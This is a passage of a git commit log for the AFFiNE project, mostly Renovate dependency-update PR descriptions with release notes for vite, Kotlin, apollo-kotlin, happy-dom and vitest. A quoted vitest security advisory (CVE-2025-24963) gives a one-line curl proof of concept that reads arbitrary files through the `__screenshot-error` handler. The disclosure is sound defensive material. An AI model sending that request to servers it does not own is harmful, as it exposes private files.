-   feat: use native runtime to import the config ([#&#8203;19178](https://redirect.github.com/vitejs/vite/issues/19178)) ([7c2a794](https://redirect.github.com/vitejs/vite/commit/7c2a7942cc8494a98fbc2b0235d91faf25242d30)), closes [#&#8203;19178](https://redirect.github.com/vitejs/vite/issues/19178)
-   fix: avoid builtStart during vite optimize ([#&#8203;19356](https://redirect.github.com/vitejs/vite/issues/19356)) ([fdb36e0](https://redirect.github.com/vitejs/vite/commit/fdb36e076969c763d4249f6db890f8bf26e9f5d1)), closes [#&#8203;19356](https://redirect.github.com/vitejs/vite/issues/19356)
-   fix(build): fix stale build manifest on watch rebuild ([#&#8203;19361](https://redirect.github.com/vitejs/vite/issues/19361)) ([fcd5785](https://redirect.github.com/vitejs/vite/commit/fcd578587b2fbdef0ff8de8a0d97c9fc6da19ce1)), closes [#&#8203;19361](https://redirect.github.com/vitejs/vite/issues/19361)

### [`v6.0.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small6011-2025-01-21-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.10...v6.0.11)

-   fix: `preview.allowedHosts` with specific values was not respected ([#&#8203;19246](https://redirect.github.com/vitejs/vite/issues/19246)) ([aeb3ec8](https://redirect.github.com/vitejs/vite/commit/aeb3ec84a288d6be227a1284607f13428a4f14a1)), closes [#&#8203;19246](https://redirect.github.com/vitejs/vite/issues/19246)
-   fix: allow CORS from loopback addresses by default ([#&#8203;19249](https://redirect.github.com/vitejs/vite/issues/19249)) ([3d03899](https://redirect.github.com/vitejs/vite/commit/3d038997377a30022b6a6b7916e0b4b5d8b9a363)), closes [#&#8203;19249](https://redirect.github.com/vitejs/vite/issues/19249)

### [`v6.0.10`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small6010-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.9...v6.0.10)

-   fix: try parse `server.origin` URL ([#&#8203;19241](https://redirect.github.com/vitejs/vite/issues/19241)) ([2495022](https://redirect.github.com/vitejs/vite/commit/2495022420fda05ee389c2dcf26921b21e2aed3b)), closes [#&#8203;19241](https://redirect.github.com/vitejs/vite/issues/19241)

</details>

<details>
<summary>apollographql/apollo-kotlin (com.apollographql.apollo)</summary>

### [`v4.1.1`](https://redirect.github.com/apollographql/apollo-kotlin/blob/HEAD/CHANGELOG.md#Version-411)

*2025-01-24*

#### Kotlin 2.1.0 ([#&#8203;6291](https://redirect.github.com/apollographql/apollo-kotlin/issues/6291))

The artifacts are now compiled with [Kotlin 2.1.0](https://kotlinlang.org/docs/whatsnew21.html). This change should be transparent for JVM and Android users thanks to [`languageVersion`](https://kotlinlang.org/docs/compatibility-modes.html) but [requires klib consumers (native + JS) to update their KGP version to 2.1.0](https://redirect.github.com/JetBrains/kotlin/blob/8add2e3b98904f34ce5db575e9543cb3d3c9ec0b/compiler/util-klib/KotlinAbiVersionBumpHistory.md?plain=1#L3-L5).

#### Rover LSP support in the IntelliJ plugin ([#&#8203;6274](https://redirect.github.com/apollographql/apollo-kotlin/issues/6274))

The IntelliJ plugin now has a dedicated mode for backend developers that uses [Rover](https://redirect.github.com/apollographql/rover) LSP ([Language Server Protocol](https://en.wikipedia.org/wiki/Language_Server_Protocol)) to parse federation and connectors directives. This mode is only available when using IntelliJ Ultimate and other IDEs with LSP support. It is recommended for subgraphs authors.

#### Gradle isolated projects support ([#&#8203;6351](https://redirect.github.com/apollographql/apollo-kotlin/issues/6351))

This release supports [Gradle isolated projects](https://docs.gradle.org/current/userguide/isolated_projects.html) for shorter configuration times.

#### Contributors 💙💙

Many thanks to [@&#8203;jvanderwee](https://redirect.github.com/jvanderwee), [@&#8203;varahash](https://redirect.github.com/varahash), [@&#8203;whyoleg](https://redirect.github.com/whyoleg), [@&#8203;StylianosGakis](https://redirect.github.com/StylianosGakis) and [@&#8203;scana](https://redirect.github.com/scana) for all the contributions and help in this release 💙!

#### 👷‍♂️ All changes

-   \[all] Do not set the license URL in the POMs ([#&#8203;6247](https://redirect.github.com/apollographql/apollo-kotlin/issues/6247))
-   \[all] Bump Kotlin to 2.1.0 ([#&#8203;6291](https://redirect.github.com/apollographql/apollo-kotlin/issues/6291))
-   \[all] Bump atomicfu ([#&#8203;6245](https://redirect.github.com/apollographql/apollo-kotlin/issues/6245))
-   \[intellij-plugin] Play nice with IDEs without Kotlin/Gradle ([#&#8203;6358](https://redirect.github.com/apollographql/apollo-kotlin/issues/6358))
-   \[intellij-plugin] Reduce usage of GradleExecutionHelper ([#&#8203;6355](https://redirect.github.com/apollographql/apollo-kotlin/issues/6355))
-   \[intellij-plugin] Use our own executeOnPooledThread instead of Android Plugin's ([#&#8203;6310](https://redirect.github.com/apollographql/apollo-kotlin/issues/6310))
-   \[intellij-plugin] Make Java and Kotlin dependencies optional ([#&#8203;6304](https://redirect.github.com/apollographql/apollo-kotlin/issues/6304))
-   \[intellij-plugin] Pass arguments to rover ([#&#8203;6303](https://redirect.github.com/apollographql/apollo-kotlin/issues/6303))
-   \[intellij-plugin] Move Rover settings to own section and add note about needing v0.27.0+ ([#&#8203;6278](https://redirect.github.com/apollographql/apollo-kotlin/issues/6278))
-   \[intellij-plugin] Remove untilBuild ([#&#8203;6279](https://redirect.github.com/apollographql/apollo-kotlin/issues/6279))
-   \[intellij-plugin] Add support for the Apollo LSP via Rover ([#&#8203;6274](https://redirect.github.com/apollographql/apollo-kotlin/issues/6274))
-   \[intellij-plugin] Don't reference AdbShellCommandsUtil.executeCommandBlocking that's been removed ([#&#8203;6268](https://redirect.github.com/apollographql/apollo-kotlin/issues/6268))
-   \[intellij-plugin] Make verifyPlugin fail on certain problems ([#&#8203;6256](https://redirect.github.com/apollographql/apollo-kotlin/issues/6256))
-   \[intellij-plugin] Do not use internal symbol ([#&#8203;6255](https://redirect.github.com/apollographql/apollo-kotlin/issues/6255))
-   \[intellij-plugin] Add explicit dependency to com.intellij.modules.json ([#&#8203;6254](https://redirect.github.com/apollographql/apollo-kotlin/issues/6254))
-   \[gradle-plugin] Add a fail-safe mode to disable 2-step introspection and use minimal introspection query ([#&#8203;6360](https://redirect.github.com/apollographql/apollo-kotlin/issues/6360))
-   \[gradle-plugin] Isolated Projects support ([#&#8203;6351](https://redirect.github.com/apollographql/apollo-kotlin/issues/6351))
-   \[gradle-plugin] expose the outgoing variants ([#&#8203;6329](https://redirect.github.com/apollographql/apollo-kotlin/issues/6329))
-   \[gradle-plugin] Better Gradle error message ([#&#8203;6326](https://redirect.github.com/apollographql/apollo-kotlin/issues/6326))
-   \[gradle-plugin] Fix classloader caching. Many thanks [@&#8203;scana](https://redirect.github.com/scana) for catching this ([#&#8203;6309](https://redirect.github.com/apollographql/apollo-kotlin/issues/6309))
-   \[gradle-plugin] Manage our classloaders manually ([#&#8203;6305](https://redirect.github.com/apollographql/apollo-kotlin/issues/6305))
-   \[gradle-plugin] Only call `onSchema()` once in multi-module scenrios ([#&#8203;6252](https://redirect.github.com/apollographql/apollo-kotlin/issues/6252))
-   \[runtime] Copy executionContext inside HttpRequest.newBuilder ([#&#8203;6350](https://redirect.github.com/apollographql/apollo-kotlin/issues/6350))
-   \[runtime] Apple HttpEngine: lock the handlers map ([#&#8203;6348](https://redirect.github.com/apollographql/apollo-kotlin/issues/6348))
-   \[runtime] Allow to initialize WebSocketEngine lazily ([#&#8203;6290](https://redirect.github.com/apollographql/apollo-kotlin/issues/6290))
-   \[runtime] Remove CloseableBackgroundDispatcher and bump coroutines version ([#&#8203;6286](https://redirect.github.com/apollographql/apollo-kotlin/issues/6286))
-   \[runtime] Override JsonNumber.toString() ([#&#8203;6273](https://redirect.github.com/apollographql/apollo-kotlin/issues/6273))
-   \[runtime] Implement ApolloWebSocketClosedException on darwin targets and update docs ([#&#8203;6275](https://redirect.github.com/apollographql/apollo-kotlin/issues/6275))
-   \[ast] Make deprecation.reason non-nullable ([#&#8203;6311](https://redirect.github.com/apollographql/apollo-kotlin/issues/6311))
-   \[ast] Allow multiple [@&#8203;link](https://redirect.github.com/link) schema extensions ([#&#8203;6284](https://redirect.github.com/apollographql/apollo-kotlin/issues/6284))
-   \[normalized-cache] Add ApolloStore.ALL_KEYS to notify all watchers ([#&#8203;6337](https://redirect.github.com/apollographql/apollo-kotlin/issues/6337))
-   \[http-cache] HTTP cache: do not remove cached entries on transport errors ([#&#8203;6314](https://redirect.github.com/apollographql/apollo-kotlin/issues/6314))
-   \[execution] Add apollo-execution ([#&#8203;6356](https://redirect.github.com/apollographql/apollo-kotlin/issues/6356))

</details>

<details>
<summary>JetBrains/kotlin (org.jetbrains.kotlin.jvm)</summary>

### [`v2.1.10`](https://redirect.github.com/JetBrains/kotlin/blob/HEAD/ChangeLog.md#2110)

##### Compiler

-   [`KT-73858`](https://youtrack.jetbrains.com/issue/KT-73858) Compose  / iOS: NullPointerException on building
-   [`KT-73454`](https://youtrack.jetbrains.com/issue/KT-73454) K2: Fix type parameters mapping for typealiases with inner RHS
-   [`KT-73043`](https://youtrack.jetbrains.com/issue/KT-73043) K2 Compiler does not allow references to inner constructors with typealiases
-   [`KT-74040`](https://youtrack.jetbrains.com/issue/KT-74040) Compilation of inner class usage does not check the visibility of parent class during compilation in different rounds
-   [`KT-73339`](https://youtrack.jetbrains.com/issue/KT-73339) K2: "VerifyError: Bad type on operand stack" because of missing implicit cast on generic field receiver with star projection
-   [`KT-72585`](https://youtrack.jetbrains.com/issue/KT-72585) K2: Compilation failure when upgrading to Kotlin 2.0.20+: Cannot replace top-level type with star projection: S
-   [`KT-73399`](https://youtrack.jetbrains.com/issue/KT-73399) compile-time JVM codegen failure on a KProperty argument of a KSuspendFunction parameter
-   [`KT-72725`](https://youtrack.jetbrains.com/issue/KT-72725) KMP: Unsupported actualization of inherited java field in expect class
-   [`KT-73153`](https://youtrack.jetbrains.com/issue/KT-73153) K2: Standalone diagnostics on type arguments are not reported

##### Compose compiler

-   [`CMP-5680`](https://youtrack.jetbrains.com/issue/CMP-5680) Compose compiler: unexpected stability warnings for classes compiled with 2.0.10
-   [`b/381407900`](https://issuetracker.google.com/issues/381407900) Avoid adding Compose annotations on synthetic classes

##### IR. Inlining

-   [`KT-73981`](https://youtrack.jetbrains.com/issue/KT-73981) Cherry-pick the fix for KT-73482 to 2.1.10

##### JavaScript

-   [`KT-70778`](https://youtrack.jetbrains.com/issue/KT-70778) Kotlin Js companion is undefined  in production build
-   [`KT-73130`](https://youtrack.jetbrains.com/issue/KT-73130) KJS: Missed `break` for do/while in generated JS code
-   [`KT-58797`](https://youtrack.jetbrains.com/issue/KT-58797) Optimize the code generated for objects on JS and Wasm backends

##### Klibs

-   [`KT-70146`](https://youtrack.jetbrains.com/issue/KT-70146) \[KLIB Resolve] Don't fail on nonexistent transitive dependency
-   [`KT-73951`](https://youtrack.jetbrains.com/issue/KT-73951) Workaround for "Partial linkage engine may not patch some discrepancies in IR when compiling Kotlin/Native static caches" in 2.1.10

##### Native

-   [`KT-73559`](https://youtrack.jetbrains.com/issue/KT-73559) K/Native: AndroidNativeArm64 linking fails starting from Kotlin 2.1.0

##### Tools. CLI

-   [`KT-73967`](https://youtrack.jetbrains.com/issue/KT-73967) JDK 25: "IllegalArgumentException: 25-ea" with EA builds

##### Tools. Daemon

-   [`KT-73311`](https://youtrack.jetbrains.com/issue/KT-73311) "Unable to release compile session, maybe daemon is already down" flakiness

##### Tools. Gradle

-   [`KT-73728`](https://youtrack.jetbrains.com/issue/KT-73728) 'generatePomFileForMavenPublication' creates pom with dependencies with 'unspecified' version

##### Tools. Gradle. Multiplatform

-   [`KT-73620`](https://youtrack.jetbrains.com/issue/KT-73620) KMP 2.1.0: Transitive dependency is broken when setting publication groupId

##### Tools. Gradle. Native

-   [`KT-73572`](https://youtrack.jetbrains.com/issue/KT-73572) \[Gradle] `kotlin.native.cacheKind=none` doesn't work anymore
-   [`KT-71419`](https://youtrack.jetbrains.com/issue/KT-71419) Light bundle KGP IT run against a stable K/N version

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 05:09:51 +00:00
forehalo d3843d8f11 refactor(server): role actions definition (#9962) 2025-02-06 04:54:34 +00:00
renovate 31d251d44f chore: Lock file maintenance (#9654)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-02-06 04:11:07 +00:00
CatsJuice 90cb37086d fix(ios): add camera/photo library privacy description (#9954) 2025-02-06 03:41:17 +00:00
fengmk2 a2acacea3b refactor(server): use userDoc model on PgUserspaceDocStorageAdapter (#9845)
close CLOUD-104
2025-02-06 11:08:06 +08:00
fengmk2 8e7cfb6115 feat(server): userDoc model (#9835)
close CLOUD-104
2025-02-06 11:08:06 +08:00
fengmk2 b40f007ccf feat(server): doc model (#9834)
close CLOUD-104
2025-02-06 02:50:27 +00:00
Yifeng Wang 077a1b38ac refactor(editor): use model coord system in worker renderer (#9969) 2025-02-06 10:36:59 +08:00
renovate e35d930f9f chore: bump up happy-dom version to v17 (#9971)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^16.0.0` -> `^17.0.0`](https://renovatebot.com/diffs/npm/happy-dom/16.6.0/17.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.6.0/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.6.0/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.8.1...v17.0.0)

##### 💣 Breaking Changes

-   Adds support for ECMAScript modules - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
    -   This change allows the use of `import` and `export` statements in JavaScript files

##### 🎨 Features

-   Adds support for tracing unended tasks when using `waitUntilComplete()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1567](https://redirect.github.com/capricorn86/happy-dom/issues/1567)
    -   Read more about how to enable this feature under `debug.traceWaitUntilComplete` in the Wiki for [IBrowserSettings](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
-   Adds support for preloading fetch, stylesheet, script and modules in `HTMLLinkElement` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `HTMLLinkElement.relList.supports()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `Request.mode` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Output failed requests to the console - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `HTMLScriptElement.blocking`, `HTMLScriptElement.crossOrigin`, `HTMLScriptElement.fetchPriority`, `HTMLScriptElement.noModule`, `HTMLScriptElement.integrity`, `HTMLScriptElement.referrerPolicy` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Use cache in virtual server requests - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `credentials` and `referrerPolicy` when fetching styles and scripts - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Disallow invalid attributes from being set in `Element.setAttribute()` - By **[@&#8203;OlaviSau](https://redirect.github.com/OlaviSau)** in task [#&#8203;1706](https://redirect.github.com/capricorn86/happy-dom/issues/1706)

##### 👷‍♂️ Patch fixes

-   Call `afterAsyncResponse` fetch interceptor in virtual server requests - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Fixes bug where children in a `ShadowRoot` of a custom element that was upgraded from a `HTMLElement` wasn't considered connected to the DOM - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)

### [`v16.8.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.8.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.8.0...v16.8.1)

##### 👷‍♂️ Patch fixes

-   Handle non-string values gracefully when removing an attribute - By **[@&#8203;OlaviSau](https://redirect.github.com/OlaviSau)** in task [#&#8203;1706](https://redirect.github.com/capricorn86/happy-dom/issues/1706)

### [`v16.8.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.8.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.3...v16.8.0)

##### 🎨 Features

-   Add support for `insertRow()` and `deleteRow()` to `HTMLTableSectionElement` - By **[@&#8203;christiango](https://redirect.github.com/christiango)** in task [#&#8203;1708](https://redirect.github.com/capricorn86/happy-dom/issues/1708)

### [`v16.7.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.3)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.2...v16.7.3)

##### 👷‍♂️ Patch fixes

-   Removes space from directory name that prevents the repo to be cloned on MS Windows - By **[@&#8203;kleinfreund](https://redirect.github.com/kleinfreund)** in task [#&#8203;1703](https://redirect.github.com/capricorn86/happy-dom/issues/1703)

### [`v16.7.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.1...v16.7.2)

##### 👷‍♂️ Patch fixes

-   Ignore invalid cookies in CookieContainer - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693)

### [`v16.7.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.0...v16.7.1)

##### 👷‍♂️ Patch fixes

-   Adds `ICookie`, `IOptionalCookie`, `CookieSameSiteEnum` and `IVirtualServer` as exports to the index file - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693)
-   Makes non-mandatory cookie properties optional in `CookieContainer.addCookies()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693)

### [`v16.7.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.6.0...v16.7.0)

##### 🎨 Features

-   Adds support for simulating local HTTP servers that serves files from the local file system - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1688](https://redirect.github.com/capricorn86/happy-dom/issues/1688)
    -   Read more about virtual servers in the [Wiki](https://redirect.github.com/capricorn86/happy-dom/wiki/IVirtualServer)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 01:24:25 +00:00
JimmFly 2ed03eaed7 fix(core): workspace storage rows are displayed unexpectedly (#9539)
close AF-2066
2025-02-05 23:58:01 +08:00
Brooooooklyn 7f2b07a701 feat(native): bump deps (#9966) 2025-02-05 13:48:18 +00:00
Brooooooklyn 58aa18afa6 style: run clippy fix and fmt (#9965) 2025-02-05 13:48:17 +00:00
Brooooooklyn db1fcf42c9 chore(server): stdout is enough for collecting server logging (#9964)
`@google-cloud/logging-winston` is not working well :(

![image](https://github.com/user-attachments/assets/1d5f44e6-7ca5-40b7-bcfa-d22c276ad813)
2025-02-05 13:25:11 +00:00
pengx17 d3400fbe89 fix(core): local blobs are not being deleted when gc in unused blobs settings (#9960) 2025-02-05 13:01:18 +00:00
donteatfriedrice 9cae1c3a28 fix(core): copilot client should throw right ai error (#9958)
[BS-2488](https://linear.app/affine-design/issue/BS-2488/copilot-client-需要正确返回错误类型)
2025-02-05 12:46:13 +00:00
forehalo 4ed03c9f0e feat(i18n): introduce server error i18n (#9953)
close AF-2054
2025-02-05 12:30:19 +00:00
renovate 4a943d854e chore: bump up @vitest/browser version to v3.0.4 [SECURITY] (#9937)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.2` -> `3.0.4`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.2/3.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.2/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.2/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2025-24963](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5)

### Summary
`__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api), an attacker can send a request to that handler from remote to get the content of arbitrary files.

### Details
This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system.
https://github.com/vitest-dev/vitest/blob/f17918a79969d27a415f70431e08a9445b051e45/packages/browser/src/node/plugin.ts#L88-L130

This code was added by https://github.com/vitest-dev/vitest/commit/2d62051f13b4b0939b2f7e94e88006d830dc4d1f.

### PoC
1. Create a directory and change the current directory to that directory
1. Run `npx vitest init browser`
1. Run `npm run test:browser`
2. Run `curl http://localhost:63315/__screenshot-error?file=/path/to/any/file`

### Impact
Users explicitly exposing the browser mode server to the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api) may get any files exposed.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

#####    🐞 Bug Fixes

-   Filter projects eagerly during config resolution  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d)
-   Apply `development|production` condition on Vites 6 by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) ([#&#8203;7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [<samp>(ef146)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ef1464fc7b101709bfbf7b040e5bad62998c2ff9)
-   **browser**: Restrict served files from `/__screenshot-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae)
-   **runner**: Timeout long sync hook  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c)
-   **typechecking**: Support typechecking parsing with Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9)
-   **types**: Fix public types  -  by [@&#8203;mrginglymus](https://redirect.github.com/mrginglymus) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

#####    🐞 Bug Fixes

-   **browser**:
    -   Don't throw a validation error if v8 coverage is used with filtered instances  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2)
    -   Don't fail when running --browser.headless if the browser projest is part of the workspace  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56)

#####    🏎 Performance

-   **reporters**: Update summary only when needed  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

